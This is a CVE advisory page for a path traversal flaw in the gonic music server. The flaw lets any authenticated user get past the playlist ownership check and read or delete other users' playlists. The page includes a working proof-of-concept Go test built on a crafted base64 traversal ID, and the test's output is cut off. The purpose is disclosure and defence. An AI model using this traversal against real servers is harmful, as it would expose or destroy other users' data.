🛡️ CVE-2026-49339 — gonic

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-22 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

gonic: Path Traversal in playlist id bypasses ownership check, enabling any user to read/delete other users' playlists

Summary

The maintainer's recent fix in [6dd71e6a3c966867ef8c900d359a7df75789f410](https://github.com/sentriz/gonic/commit/6dd71e6) (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path.

Any authenticated Subsonic user can therefore bypass the ownership check and:

1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by .. traversal segments pointing into another user's playlist directory.

2. Delete any other user's playlist (including admin's curated playlists) by the same trick against deletePlaylist.

3. Probe arbitrary file paths on the host for existence/readability.

This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).

Root cause

server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:

```go

func playlistIDDecode(id specid.ID) string {

path, _ := base64.URLEncoding.DecodeString(id.StringValue)

return string(path)

}

```

playlist/playlist.go::Store.Read then:

```go

absPath := filepath.Join(s.basePath, relPath) // no containment check

// ...

playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2"

if err != nil {

playlist.UserID = 1 // fallback

}

```

userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.

The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ...false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.

Affected code

  • playlist/playlist.go:88-144Store.Read joins relPath with basePath without containment validation
  • playlist/playlist.go:200-206Store.Delete (same pattern)
  • playlist/playlist.go:208-220userIDFromPath / firstPathEl trust only the first path segment
  • server/ctrlsubsonic/handlers_playlist.go:51-72ServeGetPlaylist ownership check
  • server/ctrlsubsonic/handlers_playlist.go:182-202ServeDeletePlaylist ownership check
  • server/ctrlsubsonic/handlers_playlist.go:209-212playlistIDDecode (no validation)

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_read_traversal_test.go and run go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v:

```go

package ctrlsubsonic

import (

"fmt"

"net/url"

"os"

"path/filepath"

"testing"

"github.com/stretchr/testify/require"

)

func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {

f := newFixture(t)

t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)

// Plant a sentinel M3U file outside the playlists directory.

tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)

sentinelDir := filepath.Join(tmpDir, "sensitive")

require.NoError(t, os.MkdirAll(sentinelDir, 0o755))

sentinelPath := filepath.Join(sentinelDir, "secret.m3u")

require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret"

#GONIC-COMMENT:"sensitive content"

#GONIC-IS-PUBLIC:"false"

`), 0o644))

// RAW string — playlistIDDecode does base64 only, no path cleaning.

rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)

traversalID := playlistIDEncode(rawRel).String()

// f.alt is the NON-ADMIN user.

resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})

t.Logf("resp: %s", string(resp))

require.Contains(t, string(resp), "victim-secret",

"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID)

}

```

Test output against current master HEAD 6dd71e6:

```

=== RUN TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix

alt user ID: 2, admin user ID: 1

resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,

"playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==",

"name":"victim-secret","comment":"sensitive content","owner":"alt",

"

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability none.

Weakness class

CVE-2026-49339 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-49339 is recorded against 2 packages.

  • go.senan.xyz/gonic
  • unknown

Timeline and source

Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-06-26
Updated 2026-08-12
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
go.senan.xyz/gonic
unknown

Similar Threats

Site Security Check

Is gonic part of your stack?

CVE-2026-49339 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026